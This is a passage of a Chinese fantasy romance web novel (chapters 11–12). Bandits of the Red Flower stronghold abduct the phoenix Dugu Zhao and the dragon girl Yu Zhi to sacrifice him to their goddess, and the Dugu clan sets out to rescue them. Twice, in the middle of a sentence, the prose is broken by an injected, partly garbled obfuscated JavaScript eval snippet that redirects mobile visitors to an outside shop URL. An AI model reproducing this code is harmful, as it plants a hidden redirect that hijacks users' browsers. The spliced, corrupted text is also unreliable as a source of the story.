驿站里,鱼织眼睛里的光芒消退,今天就住进来他们和另一个全是中年人的商队,山贼说的小白脸肯定是独孤照。 她心念一动,把茶水泼在地上,用同样的办法看独孤靖在做什么。 独孤靖没有醒,邪神神像也很安静地坐在四方桌上。不知道是不是鱼织把它喂得太饱了,它一直没给过独孤靖新的指示。 鱼织想了想,披上衣服出门。 独孤照正在梦中。 他睡眠很浅,一点点响动都能被惊醒。就算睡着了,也经常梦到那一天的惨状,醒来时浑浑噩噩,总要缓一阵子。 窸窸窣窣的声音从门外传来。 独孤照猛地睁开眼,皱起眉看向门口。 一条钩子从门缝里穿进来,小心翼翼地向上挪动,勾到门闩时微微用力打开。然后一个人悄悄地摸了进来,看身形是男人。 独孤照一开始以为是独孤归鸿他们,但他们没道理这么做。 男人摸索到他的床前,借着月光端详他的脸,很满意地点了点头。 独孤照浑身紧绷,正要翻手按住对方,却不知对方拿出了什么,身体一下子被束紧了。 是一捆红线。 男人把他捆起来之后就跑到窗边张望,似乎在等人。 独孤照催动体内的力量,甚至用上凤凰火。然而微弱的火苗碰到红线时就被浓重的阴煞之气驱散了。 他脸色极其难看,意识到这男人不是独孤家的人,捆住他的也不是普通红线。 他没有注意到,桌上安静放着的茶壶壶盖突然被里面的水顶得动了一下。 凌乱的马蹄声踏破黑夜。 男人激动起来,转身一把将独孤照扛在肩上,跑出房间。 “阿照哥哥?” 独孤照听到了鱼织的声音。 少女穿着单薄的中衣,一手握着油灯,一手捏住外袍的衣领,惊讶地看着男人,“你是谁?你要把阿照哥哥带到哪里去?” 11. 第 11 章 独孤照一下子不动了。 他想看看鱼织会做什么。 男人惊疑不定,一时间拿不准主意。 这时,马匹嘶鸣声打断了他的思绪,他一头撞开鱼织,往楼下奔去,撞开后院的门,奔敞开的门跑去。 这一下彻底惊动了驿站里的人。 院门外,八匹马齐刷刷地停下。少女猛拉缰绳,看向男人背上的独孤照,“转过来。” 男人掉了个头,恰好让独孤照的头跟马腹齐平。少女右手捏住独孤照的下巴,抬起来借着其他人手中火把的光端详,“长得不错,母神会满意。把他放上来。” 男人用力地应了一声,把独孤照丢到马背上。 “少寨主,他怎么抽搐起来了!”旁边的女人惊呼。 少女皱眉,扭头看向独孤照。他果然在抽搐,像是忍受着巨大的痛苦,口吐白沫。 男人:“不会是有病吧!” 他好像缓解了一些,通红的眼睛抬起,看向少女,背后紧攥成拳的手伸出一根手指,指着院子里。 那里有什么?少女举目看去,只见一个端着油灯的少女跑出来,她美丽而柔弱,像一朵除了花香就一无是处的花,嘴里喊着“阿照哥哥”。 眼见驿站房间的窗户都亮了起来,少女当机立断,“把她一起带走!” 男人呆在原地,旁边的女人反应极快,勒住马缰闯进院子里,一把捞起少女的腰,丢到马背上,掉转马头冲出去,把追出来的人丢在身后,跟着队伍绝尘而去。 独孤靖被吵闹声惊醒,连忙爬起来,推开门看见独孤归鸿铁青的脸,“山匪带走了独孤照和林鱼织。” 独孤靖愣了愣,“那……” “请示尊神,快。” 独孤靖连忙把神像捧了出来。独孤归鸿走到窗边,看见驿站的人想骑马去追,却发现马匹全睡倒了。 他转头看向独孤靖。 独孤靖点上赤香,尊请神像。过得一会儿,她有些磕绊地解释道:“尊神说这些山匪不一般,他们供奉了一尊煞神,绑走独孤照正是要将他献祭给煞神。” 终日打雁,让雁啄了眼。独孤照是独孤氏选定的祭品,竟给别人捉去祭神。 “尊神还说,下一次纳祭的时机还未到,我们必须把独孤照和林鱼织平安带回来。” 独孤靖的声音逐渐小了下去。 她虽然是独孤氏的圣女,却不持有权柄。真正决定独孤氏未来的是族长和一众族老。本来带祭品回去是很重要的事,族中本想让更有为的青年和长老前去。是独孤归鸿在祭祖大会上用长老之位向族长赌誓换来的机会。 独孤归鸿指望用这次功绩,从族老末尾边缘爬到前面去。而他选中了独孤靖,独孤轩和独孤亭三个年轻人,就是想带他们一把。因此,当他发现独孤照是一个极其优秀的祭品时,全然没有半点对麻烦的厌烦,只有无尽的兴奋。 独孤靖从没想过有人敢从他们手上抢人,便是普通山贼也就算了,偏偏对方抢走独孤照也是为了当祭品。 如果真的让煞神吃掉独孤照,只怕她回去之后面对的不止是责备,还有后半生暗无天日的囚禁。 独孤靖以为会有劈头盖脸的责骂。 过得一会儿,独孤归鸿将她扶了起来,“阿靖,二伯不想怪你。你可知你还在娘胎时就被选为圣女,刚出生就被他们从你母亲身边抱走,你母亲没有一日不想你。你也不想一辈子都见不到她吧?” 独孤靖轻轻颤抖了一下,“二伯……” 独孤归鸿帮她拂去肩膀上的灰,“去吧,我等你的好消息。” · 山寨的柴房里,独孤照被粗暴地丢到稻草堆上。 少女走进来,转动手腕,捆住他的红线自动松解,飞走缠住她的手腕上,变成一条平平无奇的红腕绳。 鱼织被人赶了进来,怯生生地环顾四周,“你们是谁,为什么要抓我们?” “他有什么病,为什么会抽搐?” 少女朝独孤照的方向抬了抬下巴。 鱼织:“我回答了,你会放我们走吗?” 少女靠近鱼织,飞快地摸了一把她的脸,“说不定呢?” “我跟他中了一种毒,叫‘阴阳毒’,只要相距超过百步,他就会疼痛难忍,我虽然不受影响,但若是不解毒,最多只能再活一个月。” “怪不得他要指你……”少女恍然大悟,不屑地撇了撇唇,“什么阴阳毒,没听说过,区区中毒,母神一定能解开。解毒后你就走吧,我们红花寨不杀女人。” 她看向旁边孔武有力的女人,“十娘,既然他们俩不能分开,那就先让她留在这里,好生款待,至于那祭品,别让他死了就行。” 独孤照倒在草堆上,明白自己这是进了娘子窝了。 “我叫文潇洒,是红花寨的少寨主。道上的人都叫我玉面小修罗。”少女朝鱼织眨眨眼,“你长得合我胃口,解了毒之后若想留下来也可以,我给你也起一个道上的名字,就叫‘玉面小罗刹’。” 红花寨的人都出去了,为防独孤照逃跑,十娘还落了锁。 屋子里就剩鱼织和独孤照。 鱼织慢慢转头看向他,“阿照哥哥,我一定不会丢下你不管的。” 独孤照的眼皮跳了一下。莫名想到了少女那双蓄满泪水的眼睛和那句话,“我一定会救你的”。 鱼织对独孤照已经没有初见时的忌惮了。 她好整以暇地看着独孤照,等他的招数。 独孤照也确实想好要怎么做了。 他知道龙女对他是真心的,她根本不知道自己是谁,天真地想打救他。 愚蠢的龙女。 但这是个机会。 既然她喜欢自己,那就接近她,欺骗她,利用她,与她成婚,摧毁龙族。 ——他本来是这么想的。 “为什么不要?” 鱼织一时不知道他在说什么,“啊?” “为什么不要我给你的老虎布偶?你明明盯着它看。”独孤照从袖子里掏出那只老虎布偶,他想演出一个爱而不得的人,奈何话里不自觉染上了一丝他自己都没察觉的委屈,“你为什么不要?” 鱼织:“……” 独孤照递给她的时候,她愣在原地,并没有接过老虎布偶。好在玉符喊了她一声,这让她有机会离开那里。 她并不是不喜欢老虎布偶。 她只是不喜欢这只布偶不是阿姐送给她的。 想到独孤照提前买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275554|198226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了这只布偶,她就再也收不到阿姐的布偶了,鱼织心里有一点点恼火。 她看着老虎布偶那做反了的耳朵,故意说,“它太丑了,我便看得久了一点。” “丑……所以你看见丑的东西,会盯着它看?”独孤照攥紧了老虎布偶,脱口而出,“那你一直看着我,是因为我丑?” 鱼织:“……” 少年气鼓鼓的,不像表演。如果是演的,那也太真了。 她忍住了针锋相对的冲动,席地而坐,委屈自己半个身体塞进阴影里,“我不是这个意思,阿照哥哥你误会了。我看着你,是因为你好看呀。” “小骗子。”独孤照忍不住骂道。 她满嘴胡话,独孤照觉得她把自己当傻子。他又不是分辨不出她在撒谎。他分辨不出的是她哪些话是真的,哪些话是假的。 鱼织慢慢地眨了下眼,下意识觉得不应该接话,干脆可怜巴巴地低下头,把冷漠的表情藏进膝盖里。 没涅槃的凤鸟都不怎么好看。 听说它们的幼年期很尴尬,真身就是一只黑色的走地鸡。 独孤照也确实算不上好看,他有下颌角,下巴不够尖,轮廓不够精致。五官倒是不差,可是常年忍着身体仿佛浸泡在寒水里的疼,眼角和嘴角总是扯着傲然厌世的弧度。被提前透支的孩子气冒尖儿时还有点傻气。 林府的人觉得他配不上鱼织。是个人都觉得他配不上鱼织。 红花寨的人认为他是小白脸,显然见识得太少。 想到这里鱼织忍不住笑出了声。 她“呵”了一声,想起面前还有独孤照,于是接上了抽泣声。 哭也是装的。鱼织的思绪不由得飞远了,阿姐最后对着他痛哭流涕,求他放过龙族时,他是怎么做的呢?哦,他斩下了她的头。 发顶忽然传来了掌心的温度。 鱼织蓦地抬起头,撞上独孤照的眼睛。 他的手轻轻地放在她的发顶,长袖滑落,是那只受伤的手。上面有她留下的指痕。因为太用力了,竟成了他身上难以愈合的疤。 独孤照忽然回过神来。 他不知道自己在做什么。 哦,对了,他要哄骗她。这样天真的、会跑到人间来游玩的龙女,身份应该不一般。龙族排外得很,瞧不起异族。只要龙女对他死心塌地,与他成亲,他便可以轻而易举地渗透龙族…… 他只是在哄骗她。 没错,就是这样。 “你们干嘛呢?” 文潇洒一脚踹开门,大步流星地走过来,一脚把独孤照踹到角落里去,“我不管你是哪里来的,在红花寨就要守我们的规矩。小罗刹,你允许他靠近你了吗?” 怎么就叫上了,鱼织哑然失笑,“我叫林鱼织。” “好名字,小罗刹。”文潇洒食指和中指并拢,向独孤照的方向勾了勾。 几个身型健硕的女人走进来,给独孤照铐上手铐脚铐,用一根绳子牵引,“走。” “你也要去,这什么阴阳毒,我让母神帮你解了。”文潇洒拉着鱼织往外走。 整个红花寨建在山上,天还没亮,到处都有火盆火把,将整个山寨照得亮堂堂的。 鱼织:“母神是谁?” 12. 第 12 章 文潇洒一改散漫,将右手攥拳放在胸口,向东方虔诚地躬身行礼,“母神庇护红花寨,是我们所有人的母亲。” 独孤照心口挨了文潇洒一脚,走路有点慢。十娘嫌他拖沓,一把将他扛到肩上,快步爬上山。 文潇洒拉着鱼织,步履也跟着快起来,“天一亮母神就要休息了,快点。” 大概走了一刻钟,一扇铁门出现在山道尽头。 铁门上缠着蒺藜,蒺藜上开满红花。 十娘和其他女人站在一旁,文潇洒走到铁门前,摘下一朵红花。蒺藜上的红花全部枯萎,同时铁门打开。 铁门后是一个开阔的悬崖。 悬崖边上竖立着一尊石像。石像被朦胧的红纱盖住,隐约看得出是一个半跪着祈祷的女人雕像。面前铺着一条弧形的红布。 十娘把独孤照丢在地上。 独孤照的胃一直被她肩膀顶着,落地瞬间便弓着身子呕吐起来。 鱼织看着他难受的样子,她能感觉到自己的胃也很不舒服。但并不觉得难以忍受。似乎她的感觉变“钝”了。 石像后面走出一个女人来,一身红衣,黑发披肩,右脸眼角到太阳穴纹有一朵栩栩如生的红花。 文潇洒向文绛行礼,“阿帕,这是第十八个祭品。” 她指着独孤照。 “带过来。” 十娘把独孤照拖到红布上。他的手肘碰地,才发现这不是红布,而是经年累月鲜血染就的地面。 文潇洒赶紧解释,“阿帕,他跟这个叫林鱼织的女子之间有什么‘阴阳毒’,若是不解开,她会跟着他一起死的。” 文绛的手背在身后,看向鱼织。 鱼织看着她脸上的红花,又看向雕像。 本以为红花寨供奉的也是邪神,但鱼织并没从雕像上感觉到跟独孤氏供奉的邪神一样的气息。但此地煞气冲天,这至少是一尊煞神。 文绛端详完了鱼织,才说:“他们之间确实有联系,不是毒,是蛊。” 独孤照的眼皮跳了一下。 文潇洒:“母神能解开吗?” 文绛不回答,而是一把扯下盖在雕像上的红纱。 红纱飘到了独孤照头上,迟迟不肯落下,最后文绛挥挥手,脸色有点难看,“这个人有问题,他已经被野神标记了,是别人的祭品。” 文潇洒大惊失色,“野神?” “你把别人的祭品带来了,他们一定不会善罢甘休。”文绛话里有轻微责怪,“母神不会帮他们解蛊,现在立刻把他丢下去。” 文潇洒制止了要把独孤照丢下悬崖的十娘,“阿帕,明晚就要献祭,现在再找肯定来不及了。就算他被标记了,难道母神就不能抹掉标记吗?” 文绛:“标记不是问题,问题是他已经被享用过了,母神从不吃别人吃过的东西。” 文潇洒双手环胸,纠结地抓了抓额前碎发。 “阿帕,我倒不是为了他,是她……实在无辜,既然此人都是野神的祭品了,那她跟着他一定没好下场不是。母神说过,天下的母亲,女儿和妻子都是我们的姐妹。难道要看着她死吗?” “这两人的命运已经缠绕在一起,便是母神也不敢轻易干涉。若是解蛊,那么……”文绛指着独孤照,“他必须死。” 文潇洒吃惊:“为什么?” “只有他死了,她的命运才会回到正轨。”文绛若有所思地看着鱼织。 “两个人……换我们两人可以吗?” 文潇洒一时间没反应过来是谁在说话,愣了一下才发觉开口的是鱼织。 鱼织垂着眼帘,掩饰左右乱转的眼珠,“与我们同行的还有两个少年。我听不懂你们说的祭品,标记是什么,但要是他们俩可以……能不能放我跟阿照哥哥走?” 文潇洒脱口而出:“放你们走,你要跟他去哪里?” 鱼织抬眼,琉璃般剔透的眼睛里只放着独孤照,“去哪里都好,我要跟着阿照哥哥。” 独孤照的身体轻轻颤了一下。 忍不住呢喃,“小骗子。” 文潇洒以为鱼织跟着独孤照是怕死,没想到她是恋爱脑! 她一脸恨铁不成钢,握住鱼织的肩膀用力摇晃,“你要是喜欢这般长相的,你留在红花寨,我帮你找十个八个!天下之大何愁无美男,况且他,他也只是一般罢了!” 鱼织觉得文潇洒挺好玩的,旋即倔强地撇了下唇,泫然欲泣,“我不要,我就喜欢阿照哥哥。我就是担心他才跟着他的,如果你们要杀阿照哥哥,那就连我一起杀了吧。” 文潇洒的表情像吃了一只苍蝇。 文绛沉思片刻,答应了,“好。明晚之前,用你说的那两人换你们两人。母神不会为你们解蛊,但你们可以走。再也不要踏进红花寨一步。” 鱼织柔柔弱弱地道了声谢。 文绛让文潇洒带他们俩下去,关起来。 文潇洒一路上都没说话,脸很臭,回到柴房,她又问了鱼织一遍,“你真的非他不可?” 鱼织点点头,“嗯。” “蠢……蠢货!”文潇洒怒不可遏,干脆吩咐十娘不给鱼织好吃好喝的了,就让他们俩待在这里,直到她口中的“同伴”来救她。到时瓮中捉鳖,收下两个祭品。 屋外传来重重的落锁声。 鱼织摸了摸鼻子,她觉得文潇洒挺有意思的,人类里很少见到这样单纯的。 红花寨供奉的煞神竟看出他已经被邪神标记,这出乎鱼织预料。 她不在乎哪一尊神想吃独孤照,但独孤照既不能被丢下悬崖,也不能解蛊之后先她一步死掉。 他要活着,好好活着,直到她还清了债才可以死。 而且红花寨的人还不知道他们所谓的“同伴”就是邪神的拥趸。 独孤归鸿真该好好谢谢她,帮他们找了一个现成的祭坛。 “阿织。” 鱼织褪去眼底的冷意,转过身,“阿照哥哥?” 看清独孤照的样子后她愣了一下。 独孤照躺在堆满杂物的破布上,他的脖子上长出了许多黑红交错的羽毛,一直蔓延到胸口。 “你看见了……”独孤照眼神复杂。 鱼织本想装作看不见,但她拿捏不准独孤照会不会把自己的真身暴露给外边的人看。 他想试探自己?鱼织佯装惊讶,“阿照哥哥,你怎么了?你生病了吗?” 独孤照没想到那块红纱那么厉害,逼他显出真身。 但很快他就冷静下来,决定用来试探龙女对他的态度。 “阿织,其实我并不是独孤照。” 独孤照紧盯着鱼织的表情。 鱼织脸上流露出一丝茫然,“阿照哥哥,你说话真奇怪。我不在乎你是独孤照还是林照,我只知道从我见你的第一面起,你一直都是我的阿照哥哥。” 独孤照一腔话被堵在了喉咙里。 鱼织在他面前轻轻地跪坐下,伸手抚摸他脸侧颌下的羽毛,“这是阴阳毒的副作用吗?阿照哥哥,不然我去求红花寨的母神。我不要她杀了你,我替你死,你替我好好活着。” 独孤照发出急促的声音,“别……碰那里!” 他挥动手掌,手臂如同羽翼,把鱼织推了出去。 鱼织摔在地上。 独孤照并不是故意的,她恰好碰到的是凤鸟敏感的地方。尽管他怀疑龙女是故意的,可除了凤鸟没有其他族裔知道这是他们的“禁区”。 对上龙女破碎且伤心的眼神,独孤照竟一时无话,空余喉结蠕动。 鱼织起身,失魂落魄地走到角落蹲下,“我知道你讨厌我,因为我姓林。可我跟他们不一样,不是每一个林家的人都讨厌你。你的父母真心相爱,他们没做错什么,你更没有错。如果我们遇到得早些就好了,就在你我都没回到林家时相遇……” 跟鱼情不一样,鱼织有大把时间做自己喜欢的事。 比如看人间的话本。 鱼情被龙王压着学各种帝王术的时候,鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275555|198226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 织躲在东海深处的贝壳里,借珍珠的光看人间的话本子。 都是鱼情买给她的。后来想想,给她之前阿姐肯定也看了,而且信了凡人写的情情爱爱,看坏了脑子。 她没有信,看话本的乐趣在于跟虾兵蟹将吐槽凡人到底有多容易心动。一首诗,一封信,一个纸鸢一次见面就足以托付终生。互诉衷肠更是终极武器,几句话就能让一个凡人付出一生。 鱼织唯一从话本子里学到的就是凡人文绉绉的情话。 她说完之后,身后静悄悄的。 鱼织抬眼看向窗外,屋前的树枝上绿叶青翠,饱满的晨露摇摇欲坠。她动了动手指,本想看看独孤照现在是什么表情,忽然听到他略显沙哑的声音,“我没事,你不要去找他们。” 鱼织扭过头,就见独孤照已经恢复人样。黑黢黢的眼睛看着鱼织,不知道在想什么。 她也不在乎,微微勾起唇,流露出一丝真实的喜色,“你不生我的气了吗?” “嗯。”独孤照捂住下半张脸,不说话了。 鱼织靠着墙,不知何时竟睡着了。 独孤照走到她身旁,屈膝蹲下,看着鱼织的睡颜,忍住用手指抚摸她脸颊的冲动,把鱼织抱到稻草堆上。 他冷眼看着她。 愚蠢的龙女啊。 你可知我是世上最后的凤鸟,殚精竭虑,就为涅槃重生,向龙族复仇? 爱上自己的仇人,是何等愚蠢的事。 愚蠢的,龙女啊。 他重重地叹了口气。 明明如他所愿,龙女爱上了他,他却为何……一点也高兴不起来呢? 如果她知道自己是凤鸟,如果她眼睁睁看着自己杀了她的族人至亲,那时还会对他说出“你一直都是我的阿照哥哥”这种话吗? 独孤照转过身,走到窗边,失神地盯着晨雾中摇摆的叶子。 鱼织倏地睁开眼,看着他的背影。 · 三匹快马在山道上狂奔。 独孤靖从驿站那里得知红花寨的方向,便连夜带着独孤轩和独孤亭上山。 “吁——”她拉紧缰绳,看着眼前被刻意铺设了一地的铁蒺藜,“各位不必再躲躲藏藏,既然带走了我们的人,不妨出来谈谈条件!” 两侧山林里陆陆续续出来了一些人。 看打扮都是女人,魁梧有力,高挑壮实。 她们拿着火把,站在山道两侧。正中间一个脸上有胎记的红衣少女背着手慢慢走下来,不看独孤靖,反而用审视的目光扫射独孤轩和独孤亭,“长得不如那小白脸,不过……还行吧。” 不等独孤靖开口,文潇洒指着独孤轩两人,“把他们俩交给我,你就可以领着那两人回去!” 独孤靖愣了一下,“什么?” “交换啊。”文潇洒语气理所当然,“你不会以为什么都不用付出就可以把人带走吧?” 独孤靖从怀里掏出一沓银票:“我们愿意出三千两——” 银票两个字还没说出,一只羽箭破空射穿了银票。 银票从手中拖手,漫天飞舞。 独孤靖脸色难看。 文潇洒放下弓,“我们红花寨不缺钱,他们俩,换他们俩。” 她两只手指指了指独孤轩和独孤亭,又反向指寨子。 独孤轩和独孤亭担忧地看向独孤靖:“靖姐姐……” “不行。” 独孤靖知道如果独孤归鸿在这里,一定会毫不犹豫地答应。 红花寨抓走独孤照是为了献祭,拿独孤轩和独孤亭交换能有什么好事? 独孤靖攥紧了马缰,对两人说,“你们进去找阿照和林小姐,务必将他们带出来。” 说完,她翻身下马,露出背后的箱箧。箱箧应声打开,一个盖着红布的神像滑了出来,落入独孤靖手中。 文潇洒还没继承寨主之位,只能感觉到独孤靖手中的东西很不妙。 独孤靖低头咬住了红布中央,抬头用力扯开。